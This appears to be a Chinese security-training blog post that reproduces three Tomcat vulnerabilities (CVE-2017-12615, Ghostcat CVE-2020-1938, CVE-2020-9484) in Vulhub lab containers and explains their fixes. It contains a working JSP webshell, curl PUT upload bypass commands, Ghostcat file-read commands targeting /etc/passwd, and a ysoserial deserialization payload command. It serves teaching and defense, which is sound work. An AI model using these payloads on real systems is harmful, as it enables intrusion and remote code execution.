Tomcat三大经典漏洞深度解析:从CVE-2017-12615到CVE-2020-9484实战复现

📅 2026/7/1 15:47:19
Tomcat三大经典漏洞深度解析:从CVE-2017-12615到CVE-2020-9484实战复现
1. 项目概述与核心价值最近在整理内部安全培训材料发现很多新同学对Tomcat这类基础中间件的漏洞理解还停留在“知道名字”的阶段动手复现时总卡在环境搭建和原理理解上。这让我想起自己刚入门时对着漏洞公告和POC脚本一头雾水的日子。所以我决定把Tomcat历史上几个极具代表性的经典漏洞从靶场环境搭建到漏洞原理、利用手法再到修复方案进行一次完整的、可操作的深度复盘。这次我们选择Vulhub作为靶场因为它环境纯净、一键启动能让我们把精力完全聚焦在漏洞本身。为什么是Tomcat作为Java Web应用的“扛把子”Apache Tomcat在全球拥有海量的部署实例。它的漏洞往往影响深远从早期的CVE-2017-12615PUT文件上传到CVE-2020-1938Ghostcat文件读取/包含再到CVE-2020-9484Session持久化反序列化每一个都曾是攻防演练中的“明星选手”。理解它们不仅是掌握几个CVE编号更是深入理解Tomcat架构设计、配置安全、协议处理逻辑的绝佳窗口。对于安全研究人员、渗透测试工程师和运维开发人员来说这是一次不可多得的“解剖”实践。本文将带你手把手复现这三个漏洞。你不需要准备复杂的云服务器只需要一台能运行Docker的电脑Windows/Mac/Linux均可我们将从零开始搭建Vulhub靶场启动漏洞环境分析漏洞成因并完成利用。我会分享其中容易踩坑的细节和我个人的调试技巧目标是让你看完就能自己动手做一遍并且真正明白“为什么”会这样。2. 环境准备与Vulhub靶场搭建工欲善其事必先利其器。一个稳定、隔离的测试环境是安全研究的基石。Vulhub是一个基于Docker和Docker-Compose的漏洞环境集合它为我们提供了开箱即用的漏洞靶机避免了繁琐的环境配置和潜在的污染问题。2.1 基础环境安装Docker与Docker-Compose首先我们需要在本地安装Docker和Docker-Compose。这是运行Vulhub的唯一前提。对于Linux系统以Ubuntu为例安装最为简单。打开终端执行以下命令# 更新软件包索引 sudo apt-get update # 安装必要的依赖包允许apt通过HTTPS使用仓库 sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common # 添加Docker官方GPG密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - # 设置稳定版仓库 sudo add-apt-repository deb [archamd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable # 再次更新并安装Docker CE sudo apt-get update sudo apt-get install -y docker-ce # 安装Docker-Compose sudo curl -L https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose sudo chmod x /usr/local/bin/docker-compose # 验证安装 docker --version docker-compose --version对于Windows和macOS用户建议直接下载并安装 Docker Desktop 。这是一个集成了Docker引擎、Docker Compose和图形化管理界面的应用程序。安装完成后通常需要重启电脑。注意在Windows上Docker Desktop默认使用WSL 2Windows Subsystem for Linux后端这能提供更好的性能。确保你的Windows 10/11版本支持并已启用WSL 2。安装过程中可能会提示你安装WSL 2内核更新包请务必完成。安装完成后在终端或命令提示符中输入docker --version和docker-compose --version新版本Docker Desktop中命令可能是docker compose version来验证是否成功。2.2 获取与启动Vulhub靶场环境就绪后我们获取Vulhub的源代码。它托管在GitHub上我们通过git克隆下来。# 克隆Vulhub仓库到本地建议放在一个容易找到的目录比如 ~/vulhub git clone https://github.com/vulhub/vulhub.git cd vulhubVulhub的目录结构非常清晰漏洞按应用分类。Tomcat的相关漏洞位于tomcat目录下。我们本次要复现的三个漏洞环境都可以在这里找到。在启动任何环境前有一个非常重要的步骤阅读README文件。每个漏洞目录下都有一个README.md文件里面包含了漏洞简介、影响版本、编译及运行方法。这是避免走弯路的黄金法则。以CVE-2017-12615为例它的路径是vulhub/tomcat/CVE-2017-12615。进入该目录cd tomcat/CVE-2017-12615启动环境只需要一条命令sudo docker-compose up -d这条命令会执行当前目录下的docker-compose.yml文件下载所需的镜像如果本地没有并在后台-d参数启动容器。常见问题与排查端口冲突如果启动失败提示端口被占用很可能是默认的8080端口已被你机器上的其他服务如另一个Tomcat、Jenkins等占用。解决方法有两种修改Vulhub配置编辑docker-compose.yml文件将ports部分的8080:8080改为其他端口例如8088:8080。关闭占用端口的进程使用netstat -tulnp | grep 8080(Linux) 或lsof -i :8080(Mac) 找到进程ID并结束它。镜像拉取缓慢由于网络原因拉取Docker镜像可能很慢。可以配置国内镜像加速器。对于Docker Desktop可以在设置中配置对于Linux可以编辑/etc/docker/daemon.json文件。权限问题在Linux上如果不想每次都用sudo可以将当前用户加入docker用户组sudo usermod -aG docker $USER然后注销并重新登录生效。启动成功后使用docker-compose ps可以查看容器运行状态。当看到状态为Up时就可以通过浏览器访问http://your-ip:8080来看到Tomcat的默认首页了。这里的your-ip如果你是在本机测试就是127.0.0.1或localhost。3. 漏洞一CVE-2017-12615 - PUT方法任意文件上传漏洞这是我们复现的第一个漏洞也是理解Tomcat配置安全的一个经典案例。它的原理并不复杂但利用条件需要精确把握。3.1 漏洞原理深度剖析这个漏洞的核心在于Tomcat对于HTTP PUT方法处理的配置缺陷。在Tomcat的conf/web.xml配置文件中定义了两个关键的ServletDefaultServlet负责处理静态资源如HTML、图片文件的请求。其配置中通常包含对readonly参数的初始化默认值为true。当readonly为true时DefaultServlet将拒绝处理PUT、DELETE等HTTP方法。JspServlet负责编译和执行JSP文件。漏洞的触发需要满足一个矛盾的条件DefaultServlet的readonly参数被设置为false允许PUT操作但同时Tomcat又配置了禁止执行JSP文件的后缀映射规则。为什么会出现这种配置在一些特定的使用场景下比如需要支持WebDAV一种基于HTTP的文件管理协议功能时管理员可能会手动将readonly改为false。然而如果安全配置没有跟上没有在web.xml中显式地禁止对.jsp和.jspx文件的PUT请求就会产生漏洞。攻击者可以利用PUT方法直接上传一个内容为JSP木马的文本文件。但是直接上传shell.jsp会被DefaultServlet当作静态文件处理不会被JspServlet执行。这时就需要一些“技巧”来绕过限制。Tomcat在Windows和Linux环境下有不同的绕过方式这是因为底层文件系统对文件名解析的差异。3.2 漏洞复现与利用实战我们的靶场环境已经模拟了漏洞条件。首先确保环境已启动并访问http://127.0.0.1:8080能看到Tomcat页面。利用步骤探测漏洞是否存在使用Burp Suite或Curl发送一个OPTIONS请求查看服务器允许的HTTP方法。curl -v -X OPTIONS http://127.0.0.1:8080/在返回的响应头中如果看到Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS则说明PUT方法被允许存在风险。准备JSP Webshell创建一个简单的JSP木马文件内容如下将其保存为shell.txt先用文本保存。% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这个木马通过cmd参数接收系统命令并执行将结果输出到网页。利用PUT方法上传这里演示两种绕过方式。Windows环境绕过/结尾在文件名后加上/Tomcat在Windows上会认为这是一个目录从而允许上传。但Apache在解析请求时会去掉末尾的/最终文件会被保存为shell.jsp。curl -X PUT http://127.0.0.1:8080/shell.jsp/ --data-binary shell.txtLinux/Windows通用绕过::$DATA流利用NTFS文件系统的备用数据流特性在文件名后添加::$DATA。Tomcat在解析时会忽略::$DATA最终文件也被保存为shell.jsp。这种方法在支持NTFS的Windows系统上有效在Linux上某些版本的Tomcat可能也会因为解析逻辑问题而生效。curl -X PUT http://127.0.0.1:8080/shell.jsp::$DATA --data-binary shell.txt实操心得在实际测试中/结尾的方法成功率更高也更通用。建议优先尝试这种方法。上传时务必注意使用--data-binary参数以确保文件内容被原样发送避免curl对特殊字符进行编码。访问Webshell执行命令上传成功后访问http://127.0.0.1:8080/shell.jsp?cmdwhoami。如果页面返回了执行命令的用户名如root或tomcat则证明漏洞利用成功获得了远程代码执行能力。3.3 漏洞修复与安全配置建议这个漏洞的修复非常直接核心原则是除非绝对必要否则永远不要在生产环境中将DefaultServlet的readonly参数设置为false。根本修复检查conf/web.xml中DefaultServlet的配置确保其init-param中param-namereadonly/param-name对应的param-value为true。防御措施如果因为特殊需求如WebDAV必须开启PUT方法则必须在web.xml中为JspServlet添加显式的安全约束禁止对.jsp和.jspx路径的PUT、DELETE等危险方法。security-constraint web-resource-collection web-resource-nameRestrict JSP/web-resource-name url-pattern*.jsp/url-pattern url-pattern*.jspx/url-pattern http-methodPUT/http-method http-methodDELETE/http-method /web-resource-collection auth-constraint !-- 没有任何角色可以访问即全部拒绝 -- /auth-constraint /security-constraint运维建议定期进行安全配置审计和漏洞扫描。使用Tomcat Manager等管理界面时务必使用强密码并限制访问IP。4. 漏洞二CVE-2020-1938 - AJP协议文件包含/读取漏洞Ghostcat这个漏洞的知名度极高因其危害严重且影响版本广泛被形象地称为“幽灵猫”。它利用了Tomcat AJP协议的一个设计缺陷。4.1 AJP协议与漏洞原理AJPApache JServer Protocol是一个二进制协议主要用于Tomcat与前端的Web服务器如Apache HTTPD进行通信比HTTP更高效。它默认在8009端口监听。漏洞存在于Tomcat的AJP连接器Connector实现中。当Tomcat配置了AJP服务默认开启且对外网开放时攻击者可以通过发送特制的AJP请求来操纵Tomcat处理请求的逻辑。关键点在于javax.servlet.include.request_uri和javax.servlet.include.path_info这两个属性。在Servlet规范中它们用于请求包含Request Inclusion机制。攻击者通过AJP协议可以伪造并控制这些属性的值从而让Tomcat误以为需要去包含读取一个指定的文件而这个文件路径是攻击者可控的。这就导致了两种利用方式文件读取读取Web应用目录外的任意文件如WEB-INF/web.xml可能包含数据库密码等配置、/etc/passwd等系统文件。文件包含与RCE如果目标应用允许上传文件到指定目录如静态资源目录且攻击者能预测或控制文件名结合文件包含就可能执行上传的JSP木马实现远程代码执行。4.2 漏洞环境搭建与复现Vulhub中的CVE-2020-1938环境已经为我们配置好了存在漏洞的Tomcat版本8.5.x并开启了AJP服务。进入环境目录并启动cd vulhub/tomcat/CVE-2020-1938 sudo docker-compose up -d验证服务Tomcat HTTP服务运行在8080端口AJP服务运行在8009端口在容器内部通过docker映射出来我们可以直接访问容器的8009端口。使用漏洞利用工具手动构造AJP协议包比较复杂社区已有成熟的利用工具如ghostcat.py。我们需要下载并使用它。# 下载利用脚本假设使用CNVD-2020-10487的POC # 注意请在授权的环境中使用此工具 python3 ghostcat.py 127.0.0.1 8009 /WEB-INF/web.xml如果执行成功脚本会通过AJP协议向目标发送请求并返回/WEB-INF/web.xml文件的内容。尝试读取其他文件通过路径穿越可以尝试读取系统文件。python3 ghostcat.py 127.0.0.1 8009 /WEB-INF/../../../../etc/passwd注意事项能否成功读取系统文件取决于Tomcat进程的运行权限。以root权限运行的Tomcat几乎可以读取任何文件而以低权限用户如tomcat运行则会受到限制。4.3 深入从文件读取到代码执行单纯的文件读取危害已经很大但安全研究往往追求更高的利用链。如果网站存在文件上传功能攻击流程可以串联起来利用文件上传功能可能是其他漏洞上传一个图片马将JSP代码嵌入图片中或者直接上传一个test.jsp文件如果上传点过滤不严。通过Ghostcat漏洞构造AJP请求去“包含”这个已上传的文件路径。Tomcat会将被包含的.jsp文件当作JSP解析执行从而实现RCE。这种组合拳在实际渗透中非常常见。因此在漏洞修复时不能仅仅满足于“修复了Ghostcat”还要检查整个应用是否存在其他薄弱点。4.4 漏洞修复方案修复Ghostcat漏洞主要有以下几种方案需要根据实际情况选择升级Tomcat版本这是最推荐的方案。Apache官方在以下版本中修复了此漏洞Tomcat 9.0.x 升级至 9.0.31 或更高Tomcat 8.5.x 升级至 8.5.51 或更高Tomcat 7.0.x 升级至 7.0.100 或更高 升级前务必做好备份和兼容性测试。禁用AJP服务如果业务架构中并未使用AJP协议例如Tomcat独立运行或通过HTTP连接器与Nginx配合最安全的方式是直接禁用它。 编辑conf/server.xml找到如下配置行并注释掉或删除!-- 注释掉AJP/1.3连接器 -- !-- Connector port8009 protocolAJP/1.3 redirectPort8443 / --修改后重启Tomcat。限制AJP连接器访问如果必须使用AJP必须将其监听地址限制为内网或可信的代理服务器。 修改conf/server.xml中的AJP连接器配置添加address属性Connector port8009 protocolAJP/1.3 redirectPort8443 address127.0.0.1 /这样AJP服务只监听本地的回环地址外部网络无法直接访问。5. 漏洞三CVE-2020-9484 - Session持久化反序列化漏洞这个漏洞涉及Session的持久化机制和反序列化安全是Java反序列化漏洞在Tomcat中的一个具体体现理解它需要对Java序列化有一定了解。5.1 Session持久化与反序列化基础Tomcat提供了将用户Session序列化后存储到磁盘的功能以便在服务器重启后能够恢复用户会话状态。这通过配置Context的Manager来实现例如使用PersistentManager并指定Store为FileStore。序列化是将Java对象转换为字节流的过程反序列化则是将字节流恢复为Java对象。当Tomcat从磁盘文件SESSION.ser中读取Session数据时会进行反序列化操作。漏洞的根源在于Tomcat在反序列化Session数据时使用的类加载器是当前应用的类加载器。如果攻击者能够控制SESSION.ser文件的内容并写入一个精心构造的、包含恶意序列化对象的文件那么当Tomcat反序列化这个文件时就会触发恶意对象的代码执行。5.2 漏洞触发条件与利用链分析要成功利用CVE-2020-9484需要同时满足以下几个条件缺一不可Tomcat配置了Session持久化使用PersistentManager和FileStore。Session存储目录可被攻击者写入攻击者需要知道Session文件的存储路径默认在$CATALINA_BASE/work/Catalina/[hostname]/[appname]下并且有权限向该目录写入文件。这通常需要通过其他漏洞如文件上传、目录遍历等来实现。攻击者可控文件名Tomcat在恢复Session时会根据Session ID来查找对应的.ser文件。因此攻击者需要能预测或控制Session ID从而让Tomcat去加载攻击者上传的恶意文件。ClassPath中存在可利用的反序列化链Gadget Chain这是实现RCE的关键。仅仅能触发反序列化还不够必须依赖应用中或Tomcat依赖库中存在的、一系列可被串联起来执行恶意操作的类如CommonsCollections,Groovy,Jdk7u21等。这些类构成了从反序列化入口点到最终执行命令的“链条”。由于条件较为苛刻这个漏洞的利用难度比前两个要高但在某些特定配置下依然非常危险。5.3 漏洞复现环境搭建与利用演示Vulhub的CVE-2020-9484环境模拟了这种场景一个存在文件上传漏洞的应用上传路径恰好是Tomcat的Session持久化目录。启动环境cd vulhub/tomcat/CVE-2020-9484 sudo docker-compose up -d分析环境访问http://127.0.0.1:8080通常是一个简单的上传页面。我们需要上传一个恶意的序列化文件并将其命名为特定的Session ID格式如xxxx.session。生成恶意序列化载荷这里需要用到ysoserial这类工具来生成利用特定Gadget Chain的Payload。假设目标环境存在CommonsCollections2链。# 使用ysoserial生成一个执行命令的Payload java -jar ysoserial.jar CommonsCollections2 touch /tmp/success malicious.session这个命令会生成一个执行touch /tmp/success的序列化对象并保存到malicious.session文件中。上传文件并触发通过应用的上传功能将malicious.session文件上传到服务器。关键是要让文件最终位于Tomcat的Session持久化目录下并且文件名符合Session ID的命名规则例如通过目录遍历或已知路径上传。触发反序列化然后我们需要以特定的Session ID即我们上传的文件名去掉后缀发起一个HTTP请求。Tomcat在处理这个请求时会尝试从持久化存储中恢复Session从而读取并反序列化我们上传的恶意文件。如果一切条件满足命令touch /tmp/success将被执行。验证利用进入Tomcat容器内部检查/tmp目录下是否创建了success文件。docker exec -it container_id /bin/bash ls -la /tmp/实操心得与难点这个漏洞复现的难点在于“凑齐所有条件”。在真实环境中找到可写目录、可控文件名、以及存在的Gadget链需要大量的信息收集和测试。在内部红蓝对抗中我们更倾向于将此类漏洞作为“深水区”攻击链的一环在获取了初步权限如文件上传后用于权限提升或横向移动。5.4 漏洞修复与安全实践修复CVE-2020-9484同样需要从配置和安全开发两个层面入手关闭不必要功能除非有强烈的业务需求否则不要在生产环境中启用Session持久化到文件系统。对于集群Session共享应考虑使用Redis、Memcached等更安全的方案。升级Tomcat版本官方在以下版本中修复了此漏洞通过在对持久化Session数据进行反序列化时增加了更严格的校验。Tomcat 10.0.x 升级至 10.0.0-M5Tomcat 9.0.x 升级至 9.0.35Tomcat 8.5.x 升级至 8.5.55Tomcat 7.0.x 升级至 7.0.104安全开发规范避免反序列化不可信数据这是黄金法则。任何来自外部的数据都不应直接进行反序列化。使用白名单校验如果必须使用反序列化应使用ObjectInputFilterJava 9或第三方库如Apache Commons IO SerializationFilter来严格限制允许反序列化的类。减少攻击面定期清理项目依赖移除不必要的、已知包含危险Gadget的库如旧版本的commons-collections, commons-beanutils等。6. 漏洞排查、防御体系与拓展思考完成了三个漏洞的复现我们不应该仅仅停留在“会利用”的层面。更重要的是如何在自己的工作中发现、防御和避免这类问题。6.1 漏洞排查清单与自查脚本对于运维和安全人员可以定期对Tomcat服务进行安全检查。以下是一个简单的自查清单和脚本思路配置审计检查conf/web.xml确认DefaultServlet的readonly是否为true。检查conf/server.xml确认AJP连接器Connector port8009 ...是否被禁用或绑定到127.0.0.1检查所有连接器的address绑定避免暴露在公网。检查conf/context.xml检查是否配置了不安全的Manager如FileStore。检查tomcat-users.xml确保管理后台Manager和Host Manager使用了强密码并检查是否有默认弱口令。版本与补丁使用{CATALINA_HOME}/bin/version.sh(或.bat) 命令查看Tomcat详细版本。对比Apache官方安全公告页面确认是否修复了已知的高危漏洞。网络与服务发现使用netstat -tulnp查看Tomcat进程监听的端口确认是否有非预期的服务如8009/AJP暴露在公网IP0.0.0.0上。使用Nmap等工具从外部扫描验证防火墙策略是否生效。可以编写一个简单的Shell或Python脚本自动化完成部分检查工作例如提取版本号、解析关键配置文件等。6.2 构建Tomcat安全防御体系单点修补漏洞是疲于奔命的我们需要构建一个纵深防御体系网络层隔离防火墙严格限制访问Tomcat端口的源IP。通常只有负载均衡器如Nginx、监控系统或管理员的IP才被允许访问Tomcat的管理端口如8005和AJP端口8009。HTTP/HTTPS业务端口8080/8443应通过前置的Web服务器或负载均衡器暴露。网络分区将Tomcat服务器部署在内网区域与数据库、缓存等后端服务进一步隔离。运行时安全非Root用户运行永远不要以root用户身份运行Tomcat。创建一个专用的、低权限的用户如tomcat来运行Tomcat进程。这能有效遏制漏洞利用后的权限提升。文件系统权限遵循最小权限原则。Tomcat安装目录、日志目录、应用部署目录webapps的读写权限要严格控制。例如webapps目录对运行用户只读work,temp,logs目录可写。安全启动参数在setenv.sh(或.bat) 中设置JVM安全参数例如启用安全管理器-Djava.security.manager、限制序列化-Djdk.serialFilter等但这需要细致的策略配置。应用与配置加固删除示例应用部署前务必删除webapps目录下的docs,examples,host-manager,manager如果不用等默认应用。自定义错误页面关闭详细的错误信息回显避免泄露路径、版本等敏感信息。隐藏版本信息修改lib/catalina.jar中的org/apache/catalina/util/ServerInfo.properties文件或使用过滤器来隐藏HTTP响应头中的Server信息。持续监控与响应日志审计集中收集和分析Tomcat的访问日志localhost_access_log.*.txt和应用程序日志。关注异常请求模式如大量404错误、扫描行为、敏感路径访问等。文件完整性监控监控webapps目录下文件的变化任何非预期的.jsp或.class文件新增都可能是入侵迹象。入侵检测系统在主机或网络层部署HIDS/NIDS配置规则以检测针对Tomcat漏洞的已知攻击载荷。6.3 从漏洞复现到安全研究的思维拓展通过这次深度复现我们不仅学会了三个漏洞的利用更应该掌握安全研究的方法论理解协议与配置很多漏洞源于对协议如HTTP PUT, AJP和默认配置的误解或忽视。安全人员必须比开发/运维更懂这些底层细节。关注攻击面PUT方法、AJP协议、Session持久化这些都是Tomcat暴露的“攻击面”。评估一个系统的安全性首先要梳理其攻击面。串联利用思维Ghostcat文件读取文件上传代码执行。在实际渗透中很少有一个漏洞就能直通目标高手善于将多个低危漏洞或利用条件串联成一条高价值的攻击链。工具只是辅助我们使用了curl、docker-compose、ghostcat.py、ysoserial等工具。但要明白工具背后的原理最好能自己阅读甚至编写简单的POC这样才能在工具失效时依然有能力分析问题。回归官方文档修复漏洞时最权威的参考永远是Apache Tomcat的官方文档和安全公告。不要轻信网上零散的、未经验证的“解决方案”。安全是一个持续的过程而非一劳永逸的状态。定期更新、最小权限、纵深防御这些基本原则在任何时候都不过时。希望这次从靶场到原理的深度旅程能让你下次面对一个陌生的CVE编号时不再感到畏惧而是有条不紊地开启你的分析、验证与修复之路。